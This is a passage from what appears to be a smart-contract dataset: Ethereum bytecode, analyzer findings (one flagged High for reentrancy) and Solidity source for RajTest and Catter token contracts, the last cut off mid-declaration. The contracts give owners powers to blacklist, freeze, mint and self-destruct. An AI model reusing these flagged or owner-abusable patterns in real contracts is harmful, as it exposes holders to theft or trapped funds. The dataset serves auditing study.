0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b357600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600b81526a26b0b9ba32b910283630b760a91b60208201525b60405161023b9190611a27565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7c565b61069d565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa8565b6106b4565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae9565b61071d565b34801561036f57600080fd5b506101fc61037e366004611b16565b610768565b34801561038f57600080fd5b506101fc6107b0565b3480156103a457600080fd5b506102c36103b3366004611ae9565b6107fb565b3480156103c457600080fd5b506101fc61081d565b3480156103d957600080fd5b506101fc6103e8366004611b31565b610891565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae9565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b16565b6108c0565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600681526526a0a9aa22a960d11b602082015261022e565b3480156104bf57600080fd5b506101fc6104ce366004611b31565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4a565b610937565b3480156104ff57600080fd5b5061026461050e366004611a7c565b610975565b34801561051f57600080fd5b5061026461052e366004611ae9565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7c565b6109d6565b34801561058457600080fd5b506102c3610593366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b31565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c39565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9a565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c39565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c39565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c39565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c39565b60005b82811015610a71578160056000868685818110610a2257610a22611c6e565b9050602002016020810190610a379190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9a565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c39565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c39565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce4565b816001815181106113cf576113cf611c6e565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d01565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611736565b6001600160a01b0389166000908152600260205260409020556115c781611795565b6115d184836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164482826114c2565b82101561166057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149f565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117438385611cb5565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179f61149f565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c2565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ae565b60006118c38385611d94565b9050826118d08583611d72565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e18161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e182611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e18161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e6f79f32d04a5d33b97d2897b28760a1202ef826773453a1562eb9160fbe15164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,406
0x06f726f750dd2a140a3f3bbe1fa58b624b361a33
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract RajTest is owned { // Public variables of the token string public name = "RajTest"; string public symbol = "RT"; uint8 public decimals = 18; uint256 public totalSupply = 0; uint256 public sellPrice = 1045; uint256 public buyPrice = 1045; bool public released = false; /// contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public crowdsaleAgent; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function RajTest() public { } modifier canTransfer() { require(released); _; } modifier onlyCrowdsaleAgent() { require(msg.sender == crowdsaleAgent); _; } function releaseTokenTransfer() public onlyCrowdsaleAgent { released = true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) canTransfer internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) canTransfer public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } /// @dev Set the contract that can call release and make the token transferable. /// @param _crowdsaleAgent crowdsale contract address function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public { crowdsaleAgent = _crowdsaleAgent; } } contract Killable is owned { function kill() onlyOwner { selfdestruct(owner); } } contract RajTestICO is owned, Killable { /// The token we are selling RajTest public token; /// Current State Name string public state = "Pre ICO"; /// the UNIX timestamp start date of the crowdsale uint public startsAt = 1521721800; /// the UNIX timestamp end date of the crowdsale uint public endsAt = 1521723600; /// the price of token uint256 public TokenPerETH = 1045; /// Has this crowdsale been finalized bool public finalized = false; /// the number of tokens already sold through this contract uint public tokensSold = 0; /// the number of ETH raised through this contract uint public weiRaised = 0; /// How many distinct addresses have invested uint public investorCount = 0; /// How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; /// How much tokens this crowdsale has credited for each investor address mapping (address => uint256) public tokenAmountOf; /// A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount); /// Crowdsale end time has been changed event EndsAtChanged(uint endsAt); /// Calculated new price event RateChanged(uint oldValue, uint newValue); function RajTestICO(address _token) { token = RajTest(_token); } function investInternal(address receiver) private { require(!finalized); require(startsAt <= now && endsAt > now); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor uint tokensAmount = msg.value * TokenPerETH; investedAmountOf[receiver] += msg.value; tokenAmountOf[receiver] += tokensAmount; // Update totals tokensSold += tokensAmount; weiRaised += msg.value; // Tell us invest was success Invested(receiver, msg.value, tokensAmount); token.mintToken(receiver, tokensAmount); } function buy() public payable { investInternal(msg.sender); } function() payable { buy(); } function setEndsAt(uint time) onlyOwner { require(!finalized); endsAt = time; EndsAtChanged(endsAt); } function setRate(uint value) onlyOwner { require(!finalized); require(value > 0); RateChanged(TokenPerETH, value); TokenPerETH = value; } function finalize(address receiver) public onlyOwner { require(endsAt < now); // Finalized Pre ICO crowdsele. finalized = true; // Make tokens Transferable token.releaseTokenTransfer(); // Transfer Fund to owner&#39;s address receiver.transfer(this.balance); } }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a09284a146101065780631aae34601461012f57806334fcf4371461017c5780633f52c6601461019f5780634042b66f146101c857806341c0e1b5146101f15780634ef39b7514610206578063518ab2a81461023f5780636e50eb3f146102685780638da5cb5b1461028b57806397b150ca146102e0578063a6f2ae3a1461032d578063af46868214610337578063b3f05b9714610360578063c19d93fb1461038d578063d7e64c001461041b578063f2fde38b14610444578063fc0c546a1461047d575b6101046104d2565b005b341561011157600080fd5b6101196104dd565b6040518082815260200191505060405180910390f35b341561013a57600080fd5b610166600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104e3565b6040518082815260200191505060405180910390f35b341561018757600080fd5b61019d60048080359060200190919050506104fb565b005b34156101aa57600080fd5b6101b26105cc565b6040518082815260200191505060405180910390f35b34156101d357600080fd5b6101db6105d2565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b6102046105d8565b005b341561021157600080fd5b61023d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061066d565b005b341561024a57600080fd5b6102526107e2565b6040518082815260200191505060405180910390f35b341561027357600080fd5b61028960048080359060200190919050506107e8565b005b341561029657600080fd5b61029e6108a2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102eb57600080fd5b610317600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108c7565b6040518082815260200191505060405180910390f35b6103356104d2565b005b341561034257600080fd5b61034a6108df565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b6103736108e5565b604051808215151515815260200191505060405180910390f35b341561039857600080fd5b6103a06108f8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042657600080fd5b61042e610996565b6040518082815260200191505060405180910390f35b341561044f57600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061099c565b005b341561048857600080fd5b610490610a3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104db33610a60565b565b60045481565b600a6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561055657600080fd5b600660009054906101000a900460ff1615151561057257600080fd5b60008111151561058157600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660055482604051808381526020018281526020019250505060405180910390a18060058190555050565b60055481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561063357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c857600080fd5b426004541015156106d857600080fd5b6001600660006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f412d4f6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561077857600080fd5b5af1151561078557600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156107df57600080fd5b50565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084357600080fd5b600660009054906101000a900460ff1615151561085f57600080fd5b806004819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106004546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090505481565b60035481565b600660009054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561098e5780601f106109635761010080835404028352916020019161098e565b820191906000526020600020905b81548152906001019060200180831161097157829003601f168201915b505050505081565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900460ff16151515610a7e57600080fd5b4260035411158015610a91575042600454115b1515610a9c57600080fd5b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610af7576009600081548092919060010191905055505b6005543402905034600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600760008282540192505081905550346008600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c823483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c6506883836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610cef57600080fd5b5af11515610cfc57600080fd5b50505050505600a165627a7a72305820af99bafa794d717a48d0de92b1df78152ca60a5fb28c543b8cb0128c9f83355a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,407
0xF4842ABE69Ef7C6f511AD1a45d68EddDC35f9456
/** https://www.cattertoken.net/ https://t.me/cattereth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CatterToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Catter Token"; string private constant _symbol = "CATTER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x60996f786e25327bC752078E25202e672e71b335); address payable private _marketingAddress = payable(0x60996f786e25327bC752078E25202e672e71b335); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private 